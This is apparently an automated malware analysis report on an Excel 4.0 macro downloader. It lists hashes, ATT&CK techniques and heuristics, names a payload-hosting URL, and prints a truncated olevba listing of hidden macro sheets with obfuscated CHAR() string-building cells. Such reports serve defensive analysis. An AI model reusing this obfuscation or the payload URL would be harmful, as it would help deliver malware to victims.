Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 7b2747cf019c6e06…

MALICIOUS

Office (OLE) / .XLS

71.0 KB Created: 2015-06-05 18:19:34 Authoring application: Microsoft Excel First seen: 2022-06-07
MD5: 19aee9666b47a54265bd8b487abbfc6e SHA-1: b13ec52cfe63dd06ebcf1f4b4bc4716b5c4d0402 SHA-256: 7b2747cf019c6e067b5c8c3b580058f0b417614891cb83fd27e78ce9d557d080
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a critical finding. This function is designed to execute dangerous formula APIs, including RUN, indicating an attempt to download and execute code. The macros attempt to construct several URLs, such as 'http://www.adiputranto.com/berkas/NheD9D3UM3NcmSPRYeQ/', which are likely sources for secondary payloads.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
b4f0a647cf6176132ebc9ecde0dbe63bae14d0fc3c1b3805926fc56fef0b0f6a
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 7650 bytes
Preview script
First 1,000 lines of the extracted script
' 0085     13 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Shee
' 0085     15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  ESRSGB
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  EGSHRHV
' 0085     17 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  ESHVGRER
' 0085     21 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  PKEKPPGEKKPG
' 0018     29 LABEL : Cell Value, String Constant - _xlfn.ARABIC hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     29 LABEL : Cell Value, String Constant - _xlfn.CONCAT hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     26 LABEL : Cell Value, String Constant - MY57 len=7 ptgRef3d 5!I5 
' 0018     26 LABEL : Cell Value, String Constant - UV76 len=7 ptgRef3d 5!I5 
' 0018     26 LABEL : Cell Value, String Constant - UV87 len=7 ptgRef3d  PKEKPPGEKKPG!F12 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Shee!F1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  ESRSGB,Q1,CHAR(102/2),""
'  ESRSGB,E2,CHAR(216/2),""
'  ESRSGB,K2,CHAR(35*2),""
'  ESRSGB,S2,CHAR(100-35),""
'  ESRSGB,B3,CHAR(236-118),""
'  ESRSGB,I3,CHAR(238/2),""
'  ESRSGB,O3,CHAR(134/2),""
'  ESRSGB,U3,"",5.00000000000000000000
'  ESRSGB,A4,CHAR(228/2),""
'  ESRSGB,M4,CHAR(148/2),""
'  ESRSGB,Q4,"",1.00000000000000000000
'  ESRSGB,T4,CHAR(42*2),""
'  ESRSGB,J5,CHAR(52*2),""
'  ESRSGB,S5,CHAR(100/2),""
'  ESRSGB,D6,CHAR(185-110),""
'  ESRSGB,Q6,CHAR(220-111),""
'  ESRSGB,L7,CHAR(170/2),""
'  ESRSGB,V7,CHAR(224/2),""
'  ESRSGB,G8,CHAR(109-40),""
'  ESRSGB,M8,CHAR(200-100),""
'  ESRSGB,P8,CHAR(232/2),""
'  ESRSGB,T9,CHAR(194/2),""
'  ESRSGB,F10,CHAR(203-102),""
'  ESRSGB,K10,CHAR(164-82),""
'  ESRSGB,B11,CHAR(220/2),""
'  ESRSGB,H11,"",4.00000000000000000000
'  ESRSGB,O11,CHAR(96/2),""
'  ESRSGB,Q11,CHAR(136/2),""
'  ESRSGB,H13,CHAR(166/2),""
'  ESRSGB,L13,CHAR(33*2),""
'  ESRSGB,S13,CHAR(210/2),""
'  ESRSGB,E14,CHAR(240
... (truncated)